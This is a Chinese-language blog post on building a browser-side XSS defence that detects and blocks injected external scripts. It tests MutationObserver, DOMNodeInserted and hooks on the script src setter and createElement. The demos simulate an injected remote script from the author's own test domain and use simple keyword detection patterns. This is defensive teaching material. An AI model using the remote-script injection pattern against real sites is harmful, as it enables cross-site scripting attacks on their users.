XSS 前端防火牆 —— 可疑模組攔截

weixin_34292959發表於2014-07-23

上一篇介紹的系統,已能預警現實中的大多數 XSS 攻擊,但想繞過還是很容易的。

由於是在前端防護,策略配置都能在原始碼裡找到,因此很快就能試出破解方案。並且攻擊者可以遮蔽日誌介面,在自己電腦上永不發出報警資訊,保證測試時不會被發現。

昨天提到最簡單並且最常見的 XSS 程式碼,就是載入站外的一個指令碼檔案。對於這種情況,關鍵字掃描就無能為力了,因為程式碼可以混淆的千變萬化,我們看不出任何異常,只能將其放行。

因此,我們還需增加一套可疑模組跟蹤系統。

被動掃描

和之前說的一樣,最簡單的辦法仍是遍歷掃描。我們可以定時分析頁面裡的指令碼元素,發現有站外地址的指令碼就傳送預警日誌。

如果昨天說的內聯事件使用定時掃描,或許還能在觸發前攔截一部分,但對於指令碼則完全不可能了。指令碼元素一旦被掛載到主節點之下,就立即載入並執行了。除非定時器開的特別短,能在指令碼載入的過程中將其銷燬,或許還能攔截,否則一不留神就錯過了。

我們得尋找更高階的瀏覽器介面,能在元素建立或新增時,進行分析和攔截。

主動防禦

在無所不能的 HTML5 裡,這當然是能辦到的,它就是 MutationEvent。與其相關的有兩個玩意:一個叫 DOMNodeInserted 的事件,另一個則是 MutationObserver 類。

前者雖然是個事件,但即使阻止冒泡它,或呼叫 preventDefault 這些方法,仍然無法阻止元素被新增;而後者就不用說了,看名字就是一個觀察器,顯然優先順序會更低。

MutationEvent 試探

但不管能否實現我們的目標,既然有這麼個東西,就先測試看看究竟能有多大的本領。

<script>
    var observer = new MutationObserver(function(mutations) {
        console.log('MutationObserver:', mutations);
    });
    observer.observe(document, {
        subtree: true,
        childList: true
    });

    document.addEventListener('DOMNodeInserted', function(e) {
        console.log('DOMNodeInserted:', e);
    }, true);
</script>

<script>console.warn('site-in xss 1');</script>
<script src="http://www.etherdream.com/xss/out.js"></script>
<script>console.warn('site-in xss 2');</script>

<button id="btn">建立指令碼</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');
        el.src = 'http://www.etherdream.com/xss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

Run

出乎意料的是,MutationObserver 居然能逐一捕捉到頁面載入時產生的靜態元素,這在過去只能通過定時器才能勉強實現。同時為了更高效的記錄,MutationObserver 並非發現新元素就立即回撥,而是將一個時間片段裡出現的所有元素,一起傳過來。這對效能來說是件好事,但顯然會損失一些優先順序。

再看 DOMNodeInserted,它雖然無法捕獲到靜態元素,但在動態建立元素時,它比 MutationObserver 更早觸發,擁有更高的優先順序。

靜態指令碼攔截

接著再來嘗試,能否利用這兩個事件,銷燬可疑的指令碼元素,以達到主動攔截的效果。

<script>
    var observer = new MutationObserver(function(mutations) {
        mutations.forEach(function(mutation) {

            var nodes = mutation.addedNodes;
            for (var i = 0; i < nodes.length; i++) {
                var node = nodes[i];

                if (/xss/.test(node.src) || /xss/.test(node.innerHTML)) {
                    node.parentNode.removeChild(node);
                    console.log('攔截可疑模組:', node);
                }
            }
        });
    });

    observer.observe(document, {
        subtree: true,
        childList: true
    });
</script>

<script>console.warn('site-in xss 1');</script>
<script src="http://www.etherdream.com/xss/out.js"></script>
<script>console.warn('site-in xss 2');</script>

<button id="btn">建立指令碼</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');
        el.src = 'http://www.etherdream.com/x\ss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

Run

又是一個出人意料的結果,所有靜態指令碼被成功攔截了!

chrome.png

ie.png

然而這並非標準。FireFox 雖然攔截到指令碼,但仍然執行程式碼了。

firefox.png

不過對於預警系統來說,能夠發現問題也足夠了,可以攔截風險那就再好不過。

動態指令碼攔截

剛剛測試了靜態指令碼的攔截,取得了不錯的成績。但在動態建立的元素上,和我們先前猜測的一樣,MutationObserver 因優先順序過低而無法攔截。

那就讓 DOMNodeInserted 來試試:

<script>
    document.addEventListener('DOMNodeInserted', function(e) {
        var node = e.target;

        if (/xss/.test(node.src) || /xss/.test(node.innerHTML)) {
            node.parentNode.removeChild(node);
            console.log('攔截可疑模組:', node);
        }
    }, true);
</script>

<button id="btn">建立指令碼</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');
        el.src = 'http://www.etherdream.com/xss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

Run

遺憾的是,DOMNodeInserted 也沒能攔截動態指令碼的執行 —— 儘管能檢測到。經過一番嘗試,所有瀏覽器都宣告失敗。

當然,能實時預警已滿足我們的需求了。但若能攔截動態指令碼,整套系統防禦力就更高了。

既然無法通過監控節點掛載來攔截,我們不妨換一條路。問題總有解決的方案,就看簡單與否。

屬性攔截

仔細分析動態指令碼建立的所有步驟:

var el = document.createElement('script');
el.src = 'http://www.etherdream.com/xss/out.js?dynamic';
document.body.appendChild(el);

是哪一步觸發了掛載事件?顯然是最後行。要獲得比它更高的優先順序,我們只能往前尋找。

既然是動態建立指令碼,賦予它 src 屬性必不可少。如果建立指令碼只為賦值 innerHTML 的話,還不如直接 eval 程式碼更簡單。

如果能在屬性賦值時進行攔截,那麼我們即可阻止賦予可疑的 src 屬性。

類似 IE 有個 onpropertychange 事件,HTML5 裡面也是有屬性監聽介面的,並且就是剛剛我們使用的那個:MutationEvent。甚至還是那兩套方案:DOMAttrModified 和 MutationObserver。

在根節點上監聽屬性變化,肯定會大幅影響頁面的效能,但我們還是先來看看是否可行。

先嚐試 MutationObserver:

var observer = new MutationObserver(function(mutations) {
    console.log(mutations);
});
observer.observe(document, {
    subtree: true,
    attributes: true
});

var el = document.createElement('script');
el.src = 'http://www.etherdream.com/xss/out.js?dynamic';
document.body.appendChild(el);

站外指令碼執行了,但奇怪的是,回撥卻沒有觸發。原來,我們監控的是 document 下的元素,而指令碼賦值時還處於離屏狀態,顯然無法將事件冒泡上來。

如果我們先 appendChild 再賦值 src 屬性,倒是可以捕獲到。但現實中呼叫順序完全不是我們說了算的。

同樣的,DOMAttrModified 也有這問題。

看來,事件這條路的侷限性太大,我們得另闢蹊徑。

API 攔截

監控屬性賦值的方式肯定不會錯,只是我們不能再用事件那套機制了。

想在修改屬性時觸發函式呼叫,除了事件外,另一個在傳統語言裡經常用到的、並且主流 JavaScript 也支援的,那就是 Setter 訪問器。

當我們設定指令碼元素 src 屬性時,理論上說 HTMLScriptElement.prototype.src 這個訪問器將被呼叫。如果我們重寫這個訪問器,即可在設定指令碼路徑時將其攔截。

<script>
    HTMLScriptElement.prototype.__defineSetter__('src', function(url) {
        console.log('設定路徑:', url);
    });
</script>

<button id="btn">建立指令碼</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');
        el.src = 'http://www.etherdream.com/xss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

Run

如果這套方案可行的話,一切都將迎刃而解。而且我們只監聽指令碼元素的 src 賦值,其他元素和屬性則完全不受影響,因此效能得到極大提升。

經測試,FireFox 和 IE 瀏覽器完全可行。我們事先儲存原始的 setter 變數,然後根據策略,決定是否向上呼叫。

<script>
    var raw_setter = HTMLScriptElement.prototype.__lookupSetter__('src');

    HTMLScriptElement.prototype.__defineSetter__('src', function(url) {
        if (/xss/.test(url)) {
            if (confirm('試圖載入可疑模組:\n\n' + url + '\n\n是否攔截?')) {
                return;
            }               
        }
        raw_setter.call(this, url);
    });
</script>

<button id="btn">建立指令碼</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');
        el.src = 'http://www.etherdream.com/xss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

Run

access_hook.png

效果非常漂亮,然而現實卻令人遺憾 —— 我們的主流瀏覽器 Chrome 並不支援。由於無法操作原生訪問器,即使在原型鏈上重寫了 setter,實際賦值時仍不會呼叫我們的監控程式。

先不急,若是拋棄原型鏈,直接在元素例項上定義訪問器又會如何?

<button id="btn">建立指令碼</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');

        el.__defineSetter__('src', function(url) {
            console.log('設定路徑:', url);
        });

        el.src = 'http://www.etherdream.com/xss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

run

這一回,Chrome 終於可以了。

instance_hook.png

然而,這僅僅是測試。現實中哪有這樣的機會,供我們裝上訪問器呢。

因此,我們只能把主動防禦的時機再往前推,在元素建立時就呼叫我們的防禦程式碼。我們得重寫 createElement 這些能建立元素 API,只有這樣,才能第一時間裡,給例項裝上我們的鉤子程式,為 Chrome 實現動態模組的防禦:

<script>
    // for chrome
    var raw_fn = Document.prototype.createElement;

    Document.prototype.createElement = function() {

        // 呼叫原生函式
        var element = raw_fn.apply(this, arguments);

        // 為指令碼元素安裝屬性鉤子
        if (element.tagName == 'SCRIPT') {
            element.__defineSetter__('src', function(url) {
                console.log('設定路徑:', url);
            });
        }

        // 返回元素例項
        return element;
    };
</script>

<button id="btn">建立指令碼</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');
        el.src = 'http://www.etherdream.com/xss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

Run

這樣,當元素建立時,就已帶有我們的屬性掃描程式了,Chrome 不支援的問題也迎刃而解。

事實上,除了重寫 property 訪問器,我們還得考慮通過 setAttribute 賦值 src 的情況。因此需整理出一套完善的瀏覽器鉤子程式。

重寫原生 API 看似很簡單,但如何才能打造出一個無懈可擊的鉤子系統呢?下一篇繼續講解

相關文章